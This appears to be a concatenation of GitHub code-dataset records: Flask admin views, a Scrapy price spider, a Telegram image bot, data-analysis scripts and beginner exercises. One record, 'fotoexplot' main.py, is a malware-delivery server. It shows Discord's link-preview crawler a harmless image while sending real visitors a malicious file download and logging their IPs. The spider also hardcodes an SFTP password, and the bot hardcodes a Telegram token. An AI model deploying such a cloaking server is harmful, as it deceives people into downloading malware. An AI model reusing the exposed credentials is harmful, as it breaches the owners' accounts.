db.session.commit()\n flash('Membership successfully added to database.')\n return redirect(url_for('.display_memberships'))\n return render_template('admin/edit_membership.html', form=form)\n\n\n@admin_required\n@main.route('/activities')\ndef display_activities():\n return render_template('admin/activities.html', activities=Activity.query.all())\n\n\n@admin_required\n@main.route('/bookings')\ndef display_bookings():\n return render_template('admin/bookings.html', bookings=Booking.query.all())\n\n\n@main.route('/edit-profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm()\n if form.validate_on_submit():\n current_user.name = form.name.data\n current_user.location = form.location.data\n current_user.about_me = form.about_me.data\n db.session.add(current_user._get_current_object())\n db.session.commit()\n flash('Your profile has been updated.')\n return redirect(url_for('.user', username=current_user.username))\n form.name.data = current_user.name\n form.location.data = current_user.location\n form.about_me.data = current_user.about_me\n return render_template('edit_profile.html', form=form)\n\n\n@main.route('/edit-profile/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_profile_admin(id):\n user = User.query.get_or_404(id)\n form = EditProfileAdminForm(user=user)\n if form.validate_on_submit():\n user.email = form.email.data\n user.username = form.username.data\n user.confirmed = form.confirmed.data\n user.role = Role.query.get(form.role.data)\n user.name = form.name.data\n user.location = form.location.data\n user.about_me = form.about_me.data\n db.session.add(user)\n db.session.commit()\n flash('The profile has been updated.')\n return redirect(url_for('.user', username=user.username))\n form.email.data = user.email\n form.username.data = user.username\n form.confirmed.data = user.confirmed\n form.role.data = user.role_id\n form.name.data = user.name\n form.location.data = user.location\n form.about_me.data = user.about_me\n return render_template('edit_profile.html', form=form, user=user)\n\n\n@main.route('/facilities/new', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef add_facility():\n form = EditFacilityForm()\n if form.validate_on_submit():\n facility = Facility(name=form.name.data,\n capacity=form.capacity.data,\n description=form.description.data)\n db.session.add(facility)\n db.session.commit()\n flash('Facility has been added to Database')\n return redirect(url_for('.display_facilities'))\n\n return render_template('admin/edit_facility.html', form=form)\n\n\n@main.route('/activities/new', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef add_activity():\n form = EditActivityForm()\n if form.validate_on_submit():\n activity = Activity(activity_staff_id=form.activity_staff_id.data,\n activity_price=form.activity_price.data,\n activity_name=form.activity_name.data,\n facility_id=form.facility_id.data)\n db.session.add(activity)\n db.session.commit()\n flash('Facility has been added to Database')\n return redirect(url_for('.display_activities'))\n\n return render_template('admin/edit_activity.html', form=form)\n\n\n@main.route('/membership-types/new', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef add_membership_type():\n form = EditMembershipTypeForm()\n if form.validate_on_submit():\n membership_type = MembershipType(name=form.name.data, length=form.length.data, price=form.price.data)\n db.session.add(membership_type)\n db.session.commit()\n flash('Membership type has been added to database')\n return redirect(url_for('.display_membership_types'))\n return render_template('admin/edit_membership_type.html', form=form)\n\n\n@main.route('/membership-types/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_membership_type(id):\n mtype = MembershipType.query.get_or_404(id)\n form = EditMembershipTypeForm()\n\n if form.validate_on_submit():\n mtype.name = form.name.data\n mtype.length = form.length.data\n mtype.price = form.price.data\n\n db.session.commit()\n flash('Membership type successfully updated!')\n return redirect('/')\n\n form.name.data = mtype.name\n form.length.data = mtype.length\n form.price.data = mtype.price\n\n return render_template('admin/edit_facility.html', form=form)\n\n\n# TODO: need some kind of display function for each facility to reach id before calling this method\n@main.route('/facilities/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_facility(id):\n facility = Facility.query.get_or_404(id)\n form = EditFacilityForm()\n\n if form.validate_on_submit():\n facility.name = form.name.data\n facility.capacity = form.capacity.data\n facility.description = form.description.data\n\n db.session.commit()\n flash('Facility successfully updated!')\n return redirect('/')\n\n form.name.data = facility.name\n form.capacity.data = facility.capacity\n form.description.data = facility.description\n\n return render_template('admin/edit_facility.html', form=form)\n\n\n# TODO: need some kind of display function for each activity to reach id before calling this method\n@main.route('/activities/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_activity(id):\n activity = Activity.query.get_or_404(id)\n form = EditActivityForm()\n\n if form.validate_on_submit():\n activity.activity_name = form.activity_name.data\n activity.activity_staff_id = form.activity_staff_id.data\n activity.activity_price = form.activity_price.data\n activity.facility_id = form.facility_id.data\n\n db.session.commit()\n flash('Activity successfully updated!')\n return redirect(url_for('.display_activities'))\n\n form.activity_name.data = activity.activity_name\n form.activity_staff_id.data = activity.activity_staff_id\n form.activity_price.data = activity.activity_price\n form.facility_id.data = activity.facility_id\n\n return render_template('admin/edit_activity.html', form=form)\n\n\n# Display method to display the list of activities to get to the edit function\n@main.route('/activities/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef display_activity(id):\n activities = db.session.query(Activity).all()\n\n if not activities:\n flash('No results found!')\n return redirect('/')\n else:\n table = ActivityTable(activities)\n table.border = True\n return render_template('admin/display_activity.html', table=table)\n\n\n@main.route('/facilities/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef display_facility(id):\n facilities = db.session.query(Facility).all()\n\n if not facilities:\n flash('No results found!')\n return redirect('/')\n else:\n table = FacilityTable(facilities)\n table.border = True\n return render_template('admin/display_facility.html', table=table)\n","repo_name":"HollowMan6/Answers-for-My-Leeds-COMP2-Courses","sub_path":"COMP2913/Master/app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":33202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25062752113","text":"import requests, io\nfrom flask import Flask, request, send_file\napp = Flask(\n__name__,\n template_folder='templates',\n static_folder='static'\n)\n@app.route('/', methods=['GET'])\ndef main():\n Image = 'https://e7.pngegg.com/pngimages/193/384/png-clipart-panda-panda.png' # Replace this with your image link\n Malicious = 'MaliciousFIleDownloadLink'# Replace this with your download link\n Redirect = \"RedirectLink\" # You can just put the image here or you can put a custom site. You can combine this with my clipboard logger and it'll be more op lol https://github.com/TheonlyIcebear/Clipboard-Javascript-Logger\n # This is to get the ip\n if request.environ.get('HTTP_X_FORWARDED_FOR') is None:\n ip = request.environ['REMOTE_ADDR']\n else:\n ip = request.environ['HTTP_X_FORWARDED_FOR']\n print(ip)\n if ip.startswith('35.') or ip.startswith('34.'):\n # If discord is getting a link preview send a image\n return send_file(\n io.BytesIO(requests.get(Image).content),\n mimetype='image/jpeg',\n download_name='AnyName.png')\n else:\n # If a real person is clicking the link send a malicious file and redirect back to the image\n return f'''\n '''+'''\n ''' # If the file doesn't download change the 500 to a higher number like 1000\nif __name__ == '__main__':\n # Run the Flask app\n app.run(\n host='0.0.0.0',\n debug=True,\n port=8080\n )\n","repo_name":"MematiBaskann/fotoexplot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20538059317","text":"\"\"\"\nOriginal ticket: https://www.assembla.com/spaces/competitormonitor/tickets/3926-express-gifts---spider-copy---dunelm#/activity/ticket:\nThis spider was copied from the Lakeland account\nThis spider downloads the csv file and extracts the products from the URLs.\nThe identifier/SKU is set from the CSV file.\n\"\"\"\nimport csv\nimport json\nimport re\nfrom tempfile import NamedTemporaryFile\nimport os\n\nimport paramiko\nfrom scrapy.spider import BaseSpider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.http import Request, HtmlResponse, FormRequest\nfrom scrapy.utils.response import get_base_url\nfrom urlparse import urljoin\n\nfrom product_spiders.items import Product, ProductLoaderWithoutSpaces as ProductLoader\nfrom product_spiders.config import CLIENTS_SFTP_HOST, CLIENTS_SFTP_PORT\n\nHERE = os.path.abspath(os.path.dirname(__file__))\n\nclass DunelmSpider(BaseSpider):\n name = 'expressgifts-dunelm.com'\n allowed_domains = ['dunelm.com']\n start_urls = ['http://www.dunelm.com']\n\n def parse(self, response):\n transport = paramiko.Transport((CLIENTS_SFTP_HOST, CLIENTS_SFTP_PORT))\n username = \"expressgifts\"\n password = \"jqh3aMrK\"\n transport.connect(username = username, password = password)\n sftp = paramiko.SFTPClient.from_transport(transport)\n files = sftp.listdir_attr()\n \n f = NamedTemporaryFile(delete=True, suffix='.csv', prefix='expressgifts_dunelm_')\n sftp.get('express_gifts_flat_file.csv', f.name)\n\n with open(f.name) as csv_f:\n rows = csv.DictReader(csv_f)\n for row in rows:\n if row.get('DUNELM').strip():\n yield Request(row['DUNELM'].strip(), callback=self.parse_product,\n meta={'sku': row['PRODUCT_NUMBER']})\n\n f.close()\n \n def parse_product(self, response):\n hxs = HtmlXPathSelector(response)\n base_url = get_base_url(response)\n \n loader = ProductLoader(selector=hxs, item=Product())\n loader.add_value('url', response.url)\n loader.add_xpath('brand', './/dt[text()=\"Brand\"]/following-sibling::dd[1]/text()')\n categories = hxs.select('.//div[contains(@class, \"breadcrumbs\")]//a/text()').extract()\n for category in categories:\n if 'search' in category.lower():\n continue\n loader.add_value('category', category)\n loader.add_value('sku', response.meta.get('sku', ''))\n loader.add_xpath('name', './/h1[@itemprop=\"name\"]//text()')\n \n if hxs.select('//article[@id=\"product\"]'):\n image_url = hxs.select('.//div[@id=\"amplienceContent\"]//img/@src').extract()\n loader.replace_value('image_url', urljoin(base_url, image_url[0]))\n options = hxs.select('//script[@type=\"text/javascript\"]/text()[contains(., \"productData\")]').extract()\n for item in self.parse_options(hxs, base_url, loader, options):\n yield item\n \n for product in hxs.select('//article[@class=\"bdp-item\"]'):\n image_url = product.select('.//a[contains(@id, \"mainImage\")]/img/@src').extract()[0]\n loader.replace_value('image_url', urljoin(base_url, image_url))\n options = product.select('./div/div[1]//script[@type=\"text/javascript\"]/text()').extract()\n for item in self.parse_options(product, base_url, loader, options):\n yield item\n \n def parse_one_product(self, hxs, base_url, loader):\n if options:\n self.log('Options detected on %s' %loader.get_collected_values('url'))\n image_url = hxs.select('.//div[@id=\"amplienceContent\"]//img/@src').extract()\n loader.add_value('image_url', urljoin(base_url, image_url[0]))\n loader.add_xpath('name', './/h1[@itemprop=\"name\"]//text()')\n \n loader.add_xpath('identifier', './/article[@id=\"product\"]/@data-product-id')\n loader.add_xpath('sku', './/article[@id=\"product\"]/@data-product-id')\n \n if not hxs.select('.//div[contains(@id, \"stock\")]//text()[contains(.,\"in-stock\")]') and hxs.select('//span[contains(@id, \"standardIcon\")]/@class[.=\"icon availability unavailable\"]'):\n loader.add_value('stock', 0)\n loader.add_xpath('price', './/strong[@id=\"fromPrice\"]/text()')\n product = loader.load_item()\n if product['price'] < 49:\n product['shipping_cost'] = 3.49\n return product\n\n def parse_options(self, hxs, base_url, loader, options):\n regx = re.compile('productData(?!.*productData).*? = ({.+})', re.S)\n options = options[0]\n options = json.loads(re.findall(regx, options)[0])\n # name = loader.get_output_value('name')\n for variant in options['skus']:\n loader.replace_value('identifier', variant['id'])\n # loader.replace_value('sku', variant['id'])\n loader.replace_value('price', variant['price'])\n loader.replace_value('name', variant['name'].replace('"', '\"'))\n # option_name = ''\n for attribute in variant['attributes']:\n # option_name += u'{} '.format(attribute['value'])\n if attribute['name'] == 'Colour':\n colour = attribute['value']\n try:\n loader.replace_value('image_url', urljoin(base_url, options['colour'][colour]))\n except:\n pass\n # option_name = option_name.strip()\n product = Product(loader.load_item())\n # product['name'] += u' {}'.format(option_name)\n if product['price'] < 49:\n product['shipping_cost'] = 3.49\n formdata = {'dataType':'json', 'quantity':'1', 'storeId':'10151',\n 'productId':variant['identifier'], 'sku':variant['id']}\n #self.log('Url %s. Formdata %s' %(base_url, formdata))\n yield FormRequest('http://www.dunelm.com/webapp/wcs/stores/servlet/AjaxProductAvailabilityView',\n formdata=formdata,\n meta={'product':product, 'tries':1}, callback=self.parse_stock)\n\n def parse_stock(self, response):\n tries = response.meta['tries']\n try:\n stock = json.loads(response.body)\n self.log('Success with %d tries' %tries)\n except:\n tries+=1\n if tries > 50:\n self.log('Gave up retrying stock status for %s' %response.request.headers['Referer'])\n yield response.meta['product']\n return\n self.log('Trying %d get stock status' %tries)\n yield response.request.replace(dont_filter=True, \n meta={'product':response.meta['product'], 'tries':tries})\n return\n deliveries = ('expressAvailableClass', 'rocsAvailableClass', 'standardAvailableClass')\n product = response.meta['product']\n product['stock'] = 0\n for delivery in deliveries:\n if stock[delivery] == \"available\":\n del product['stock']\n break\n\n yield product\n ","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/express_gifts/dunelm.py","file_name":"dunelm.py","file_ext":"py","file_size_in_byte":7188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20339028729","text":"import telebot\nfrom telebot import types\nfrom PIL import Image\nfrom PIL import ImageFilter\nfrom PIL import ImageOps\nimport os\nimport time\n\n\nbot = telebot.TeleBot('6974578088:AAE-qBT6FVPesqpH6WcDTa61TJaXwTyyO_o')\nproject_folder = \"/Users/Fedor/PycharmProjects/2kurs\"\n\nglobal ind\nind = 0\n\n\ndef delete_jpg_files(folder_path):\n try:\n files = os.listdir(folder_path)\n\n jpg_files = [file for file in files if file.endswith(\".jpg\")]\n\n for jpg_file in jpg_files:\n file_path = os.path.join(folder_path, jpg_file)\n os.remove(file_path)\n print(f\"Удален файл: {file_path}\")\n\n except Exception as e:\n print(f\"Произошла ошибка при удалении файлов: {e}\")\n\n\n@bot.message_handler(commands=['start'])\ndef start_message(message):\n keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)\n btn1 = types.KeyboardButton(text='/start')\n btn2 = types.KeyboardButton(text='/help')\n keyboard.add(btn1, btn2)\n bot.send_message(message.chat.id, text='выберите функцию', reply_markup=keyboard)\n\n\n\n@bot.message_handler(commands=['help'])\ndef help(message):\n k_b = types.ReplyKeyboardMarkup(resize_keyboard=True)\n btn3 = types.KeyboardButton(text='/reverse_photo')\n btn4 = types.KeyboardButton(text='/blur_photo')\n btn5 = types.KeyboardButton(text='/negative_photo')\n k_b.add(btn3)\n k_b.add(btn4)\n k_b.add(btn5)\n bot.send_message(message.chat.id, text='Выберите обработку', reply_markup=k_b)\n\n\n@bot.message_handler(commands=['reverse_photo'])\ndef reverse(message):\n msg = bot.send_message(message.chat.id, \"Send photo\")\n bot.register_next_step_handler(msg, r_photo)\n\n\ndef r_photo(message):\n global ind\n ind += 1\n file_id = message.photo[-1].file_id\n file_info = bot.get_file(file_id)\n file_path = file_info.file_path\n downloaded_file = bot.download_file(file_path)\n\n with open('saved_photo' + str(ind) + '.jpg', 'wb') as new_file:\n new_file.write(downloaded_file)\n\n im = Image.open('saved_photo' + str(ind) + '.jpg')\n im = im.transpose(Image.FLIP_LEFT_RIGHT)\n\n bot.send_photo(message.chat.id, im)\n\n time.sleep(10)\n delete_jpg_files(project_folder)\n\n\n\n\n@bot.message_handler(commands=['blur_photo'])\ndef blur(message):\n msg = bot.send_message(message.chat.id, \"Send photo\")\n bot.register_next_step_handler(msg, b_photo)\n\n\ndef b_photo(message):\n global ind\n ind += 1\n file_id = message.photo[-1].file_id\n file_info = bot.get_file(file_id)\n file_path = file_info.file_path\n downloaded_file = bot.download_file(file_path)\n\n with open('saved_photo' + str(ind) + '.jpg', 'wb') as new_file:\n new_file.write(downloaded_file)\n\n im = Image.open('saved_photo' + str(ind) + '.jpg')\n\n for i in range(100):\n im = im.filter(ImageFilter.BLUR)\n\n bot.send_photo(message.chat.id, im)\n\n time.sleep(10)\n delete_jpg_files(project_folder)\n\n\n\n\n\n\n\n@bot.message_handler(commands=['negative_photo'])\ndef negative(message):\n msg = bot.send_message(message.chat.id, \"Send photo\")\n bot.register_next_step_handler(msg, n_photo)\n\n\ndef n_photo(message):\n global ind\n ind += 1\n file_id = message.photo[-1].file_id\n file_info = bot.get_file(file_id)\n file_path = file_info.file_path\n downloaded_file = bot.download_file(file_path)\n\n with open('saved_photo' + str(ind) + '.jpg', 'wb') as new_file:\n new_file.write(downloaded_file)\n\n im = Image.open('saved_photo' + str(ind) + '.jpg')\n\n im = ImageOps.invert(im)\n\n bot.send_photo(message.chat.id, im)\n\n time.sleep(10)\n delete_jpg_files(project_folder)\n\n\nbot.polling(none_stop=True, interval=0)\n","repo_name":"ZdobnyakovGT/Zdobnyakov_Labs_IU5-34B","sub_path":"HW.py","file_name":"HW.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35720588608","text":"#!/usr/bin/env python3\nimport MySQLdb as mysql\nimport json\nimport os\nimport sys\nfrom statistics import pstdev, stdev \n\ndb_config = json.loads(sys.argv[1])\nstart_date = sys.argv[2]\n\nmysql_connection = mysql.connect(database=db_config['database'], user=db_config['username'], password=db_config['password'])\ncursor = mysql_connection.cursor()\n\ndef get_sit_times():\n cursor.execute(\"\"\"select bookings.id, bookings.car_id, booking_details.type, booking_details.longitude,\n booking_details.latitude, booking_details.created_at, bookings.user_id from bookings\n join booking_details on bookings.id = booking_details.booking_id \n where date(bookings.created_at) > date(\"{}\") \n and hour(bookings.created_at) between 7 + 7 and 20 + 7 \n order by car_id desc, bookings.created_at asc\n ;\"\"\".format(start_date))\n\n line = cursor.fetchone()\n\n i = 1\n end_time = 0\n sit_time = []\n mult = 200.0\n \n while line:\n if i == 1:\n i+=1\n line = cursor.fetchone()\n else:\n carId = line[1]\n while line and line[1] == carId:\n if line[2] == 'end':\n end_time = line[5]\n long_end = round(line[3] * mult) / mult\n lat_end = round(line[4] * mult) / mult\n else:\n start_time = line[5]\n try:\n time_between = start_time - end_time\n time_between = 0\n \n long_start= round(line[3] * mult) / mult\n lat_start = round(line[4] * mult) / mult\n if long_start == long_end and lat_start == lat_end:\n sit_time += [(round(line[4]*2 * mult)/(2 * mult), round(line[3]*2 * mult)/(2 * mult), time_between.seconds, line[0], line[6])]\n except:\n pass\n i += 1\n line = cursor.fetchone()\n\n line = cursor.fetchone()\n averages = {}\n for i in sit_time:\n points = (round(i[0]*2 * mult)/(2 * mult) , round(i[1]*2 * mult)/(2 * mult))\n seconds = i[2]\n if points in averages:\n averages[points] += [seconds]\n else:\n averages[points] = [seconds]\n \n for i in averages.keys():\n av = sum(averages[i])/len(averages[i])\n averages[i] = [av, len(averages[i])]\n \n \n real_sit_time= []\n for i in averages.keys():\n long = i[0]\n lat = i[1]\n time = averages[i][0]\n freq = averages[i][1]\n real_sit_time += [(long, lat, time, freq)]\n \n \n \"\"\"\n with open(\"/var/log/outgoing/sit-time-points.js\", \"w\") as outfile: \n outfile.write(\"{}{}\".format(\"var points=\", json.dumps(real_sit_time)))\n # The indicies in the subarray are [lat, lng, sit_time, booking_id, user_id]\n \"\"\"\n return sit_time\n #return list(map(lambda x: x[2], sit_time))\n\ndef get_standard_deviation(sit_times):\n only_times = list(map(lambda x: x[2], sit_times))\n return stdev(only_times)\n\ndef get_outlier_bookings(standard_deviation, sit_times, percent_outside_accepted):\n outliers = list(filter(lambda x: abs(standard_deviation - x[2]) > standard_deviation + ((percent_outside_accepted / 100) * standard_deviation) , sit_times))\n return outliers\n\ndef outliers_by_user(booking_list):\n outliers_counts = {}\n for user in booking_list:\n if user[4] in outliers_counts:\n outliers_counts[user[4]] += 1\n else:\n outliers_counts[user[4]] = 1\n users_list = list(filter(lambda x: outliers_counts[x], outliers_counts))\n users_list = list(map(lambda x: str(x), users_list))\n query = \"select id, first_name, last_name from users where id in ({});\".format(\", \".join(users_list))\n cursor.execute(query)\n user_names = {a : (b, c) for a, b, c in cursor}\n query = \"select user_id, count(id) from bookings where user_id in ({}) group by user_id;\".format(\", \".join(users_list))\n cursor.execute(query)\n bookings_counts = {a : b for a, b in cursor}\n user_ratios = {}\n for key in outliers_counts:\n user_ratios[key] = {\n \"ratio\": outliers_counts[key] / bookings_counts[key],\n \"bookings\": bookings_counts[key],\n \"outliers\": outliers_counts[key]\n }\n output = {}\n for user in user_names:\n output[user_names[user]] = user_ratios[user]\n\n return user_ratios\n\nif __name__ == \"__main__\":\n sit_times = get_sit_times()\n standard_deviation = get_standard_deviation(sit_times)\n outliers = get_outlier_bookings(standard_deviation, sit_times, 0)\n users_with_outliers = outliers_by_user(outliers) \n print(json.dumps(users_with_outliers))\n mysql_connection.close()\n\n","repo_name":"WaiveCar/Waivecar","sub_path":"analysis/sitTimes.py","file_name":"sitTimes.py","file_ext":"py","file_size_in_byte":4782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7328566749","text":"xcount = 0\nycount = 0\n\nread = []\n\nwith open('December2.txt') as file:\n\tfor line in file:\n\t\tline = line.split(\" \")\n\t\tread.append(line)\n\t\tif line[0] == \"forward\":\n\t\t\txcount += int(line[1])\n\t\tif line[0] == \"down\":\n\t\t\tycount -= int(line[1])\n\t\tif line[0] == \"up\":\n\t\t\tycount += int(line[1])\n\nprint(xcount * abs(ycount))\n\nposition = 0\ndepth = 0\naim = 0\n\nfor i in range(len(read)):\n\tif read[i][0] == \"forward\":\n\t\tdepth += (aim * int(read[i][1]))\n\t\tposition += int(read[i][1])\n\tif read[i][0] == \"down\":\n\t\taim += int(read[i][1])\n\tif read[i][0] == \"up\":\n\t\taim -= int(read[i][1])\n\t\t\nprint(position * depth)\n","repo_name":"eduardoloz/CCC","sub_path":"AdventOfCode/2-Dive/December2.py","file_name":"December2.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41558741430","text":"class LinearSearch:\n\n\n def search(self,list,n):\n\n for i in range(len(list)):\n if list[i]==n:\n return True\n return False\n\n\n\nlist = [1,2,3,4,5]\nobj=LinearSearch();\nresult =obj.search(list,7);\nif result:\n print(\"found\")\nelse:\n print(\"not found\")","repo_name":"Mohit0888/Variables","sub_path":"variable/linearSearch.py","file_name":"linearSearch.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70507793372","text":"# Напишите программу, которой на вход подается последовательность чисел через пробел, а также\r\n# запрашивается у пользователя любое число.\r\n# В качестве задания повышенного уровня сложности можете выполнить проверку соответствия указанному\r\n# в условии ввода данных.\r\n# Далее программа работает по следующему алгоритму:\r\n# --Преобразование введённой последовательности в список\r\n# --Сортировка списка по возрастанию элементов в нем(для реализации сортировки определите функцию)\r\n# --Устанавливается номер позиции элемента, который меньше введенного пользователем числа, а следующий\r\n# за ним больше или равен этому числу.\r\n#\r\n# При установке позиции элемента воспользуйтесь алгоритмом двоичного поиска, который был рассмотрен в\r\n# этом модуле. Реализуйте его также отдельной функцией.\r\n#\r\n# Подсказка\r\n# Помните, что у вас есть числа, которые могут не соответствовать заданному условию. В этом случае необходимо\r\n# вывести соответствующее сообщение.\r\n\r\n# можно выбрать: вводим числа с клавиатуры или загружаем из файла\r\n\r\nimport sys\r\n\r\ndef sort(L):\r\n for i in range(len(L)):\r\n idx_min = i\r\n for j in range(i, len(L)):\r\n if L[j] < L[idx_min]:\r\n idx_min = j\r\n if i != idx_min:\r\n L[i], L[idx_min] = L[idx_min], L[i]\r\n return L\r\n\r\ndef search(L, num, left, right):\r\n if left > right:\r\n return False\r\n middle = (right + left) // 2\r\n if L[middle] == num:\r\n return middle\r\n elif num < L[middle]:\r\n return search(L, num, left, middle - 1)\r\n else:\r\n return search(L, num, middle + 1, right)\r\n\r\n\r\n# алфавит допустимых символов\r\nsymbols = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '.', '-', ' ', '\\n')\r\n\r\ninput_str = '' # здесь храним введенную строку\r\nerror_symbol = '' # переменная для хранения неверных символов\r\nmy_str = ''\r\n\r\nanswer = input(\"Данные возьмем из файла (1) или введем с клавиатуры (2)?\\n\")\r\nif answer == '1':\r\n file_name = input('Введите имя файла с последовательностью чисел ')\r\n try:\r\n with open(file_name) as file:\r\n my_str = file.readline()\r\n except FileNotFoundError:\r\n print('Файл не найден')\r\n exit()\r\nelif answer == '2':\r\n print('Введите последовательность чисел через пробел.')\r\n my_str = sys.stdin.readline()\r\nelse:\r\n print('При следующем запуске программы введите \"1\" или \"2\"\\nЗавершаем работу...')\r\n exit()\r\n\r\nfor char in my_str:\r\n if char in symbols:\r\n input_str += char\r\n else:\r\n error_symbol += char\r\nif error_symbol:\r\n print('Вы ввели недопустимые символы: \"' + error_symbol + '\"')\r\n\r\n# если пользователь поставил минус после числа\r\ntry:\r\n list_of_numbers = list(map(float, input_str.split()))\r\nexcept ValueError:\r\n print('Символ \"-\" должен находиться перед числом\\nЗавершаем работу...')\r\n exit()\r\n\r\n# вводим число и добавляем его к списку\r\nnumber = float(input('Введите число: \\n'))\r\nprint('Список до сортировки: ' + str(list_of_numbers))\r\nlist_of_numbers.append(number)\r\n\r\n# сортируем\r\nlist_of_numbers = sort(list_of_numbers)\r\n\r\n# ищем позицию числа, введенного пользователем\r\npoz = search(list_of_numbers, number, 0, len(list_of_numbers))\r\nif poz == 0:\r\n print('Введенное число является минимальным среди чисел последовательности') # поэтому\r\n # не удовлетворяет нашим условиям\r\nelif list_of_numbers[-1] == number and list_of_numbers[-1] != list_of_numbers[-2]:\r\n print('Введенное число является максимальным среди чисел последовательности') # и после него нет числа,\r\n # равного введенному, поэтому не удовлетворяет нашим условиям\r\nelse:\r\n while list_of_numbers[poz] == list_of_numbers[poz - 1]:\r\n poz -= 1\r\n print(f'Индекс элемента списка, который меньше числа {number}: ' + str(poz - 1))\r\nlist_of_numbers.pop(poz)\r\nprint('Список после сортировки: ' + str(list_of_numbers))\r\n","repo_name":"ivmiller/HomeWork","sub_path":"1791-2.py","file_name":"1791-2.py","file_ext":"py","file_size_in_byte":5436,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43250331877","text":"import argparse\nimport subprocess\n\n# usage: python main.py \"filepathtogradebook\" \"filepathtomajors\" \"filepathtoresults\" \"gradebook_studentid\" \"gradebook_assignment\" \"major_studentid\" \"major_name\" lowerthresholdinclusive higherthresholdexclusive\ndef get_arguments():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('gradebook')\n\tparser.add_argument('majorlist')\n\tparser.add_argument('range_results')\n\tparser.add_argument('grade_id')\n\tparser.add_argument('grade_column')\n\tparser.add_argument('major_id')\n\tparser.add_argument('major_column')\n\tparser.add_argument('lower_threshold', type=float)\n\tparser.add_argument('higher_threshold', type=float)\n\treturn parser.parse_args()\n\t\n# runs both range.py and pie.py so as to simplify process for user\ndef main():\n\targs = get_arguments()\n\tsubprocess.run([\"python\", \"range.py\", args.gradebook, args.majorlist, args.range_results, args.grade_id, args.grade_column, args.major_id, args.major_column, str(args.lower_threshold), str(args.higher_threshold)])\n\tsubprocess.run([\"python\", \"pie.py\", args.range_results, args.grade_column, str(args.lower_threshold), str(args.higher_threshold)])\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"Amndeep7/DrexelCSDepartmentAnalysisTool","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38819414985","text":"import sqlite3\r\ndb = sqlite3.connect('python_programming_db')\r\ncursor = db.cursor() # Get a cursor object\r\n\r\ncursor.execute('''\r\n DROP TABLE IF EXISTS Student;\r\n''')\r\n\r\ncursor.execute(''' \r\n CREATE TABLE IF NOT EXISTS Student\r\n (\r\n id INTEGER PRIMARY KEY, \r\n name TEXT,\r\n grade INTEGER\r\n );\r\n''')\r\ndb.commit()\r\n\r\n# Inserting students\r\ncursor.execute('''\r\n INSERT INTO Student\r\n (\r\n id,\r\n name, \r\n grade\r\n )\r\n VALUES\r\n (\r\n 55,\r\n 'Carl Davis',\r\n 61\r\n ),\r\n (\r\n 66,\r\n 'Dennis Fredrickson',\r\n 88\r\n ),\r\n (\r\n 77,\r\n 'Jane Richards',\r\n 78\r\n ),\r\n (\r\n 12,\r\n 'Peyton Sawyer',\r\n 45\r\n ),\r\n (\r\n 2,\r\n 'Lucas Brooke',\r\n 99\r\n )\r\n ''')\r\ndb.commit()\r\n\r\n# Print all records in Student\r\ncursor.execute('''\r\n SELECT * FROM Student;\r\n ''')\r\nquery_student = cursor.fetchall()\r\nprint(query_student)\r\n\r\n# Select all records with grade between 60 and 80\r\ncursor.execute('''\r\n SELECT * FROM Student\r\n WHERE\r\n grade BETWEEN 60 AND 80;\r\n ''')\r\nquery_student = cursor.fetchall()\r\nprint(query_student)\r\n\r\n# Update Carl Davis' grade to 65\r\ncursor.execute('''\r\n UPDATE Student\r\n SET grade = 65\r\n WHERE\r\n name = 'Carl Davis';\r\n ''')\r\ndb.commit()\r\n\r\n# Print all records in Student\r\ncursor.execute('''\r\n SELECT * FROM Student;\r\n ''')\r\nquery_student = cursor.fetchall()\r\nprint(query_student)\r\n\r\n# Delete Dennis Fredrickson's row\r\ncursor.execute('''\r\n DELETE FROM Student\r\n WHERE\r\n name = 'Dennis Fredrickson'\r\n''')\r\n\r\n# Print all records in Student\r\ncursor.execute('''\r\n SELECT * FROM Student;\r\n ''')\r\nquery_student = cursor.fetchall()\r\nprint(query_student)\r\n\r\n# Change the grade of all people with an id less than 55\r\ncursor.execute('''\r\n UPDATE Student\r\n SET grade = 1\r\n WHERE\r\n id < 55;\r\n ''')\r\ndb.commit()\r\n\r\n# Print all records in Student\r\ncursor.execute('''\r\n SELECT * FROM Student;\r\n ''')\r\nquery_student = cursor.fetchall()\r\nprint(query_student)\r\n\r\ndb.close()\r\nprint('Connection to database closed')\r\n","repo_name":"ehmtang/SE-Bootcamp-HyperionDev","sub_path":"T47 - 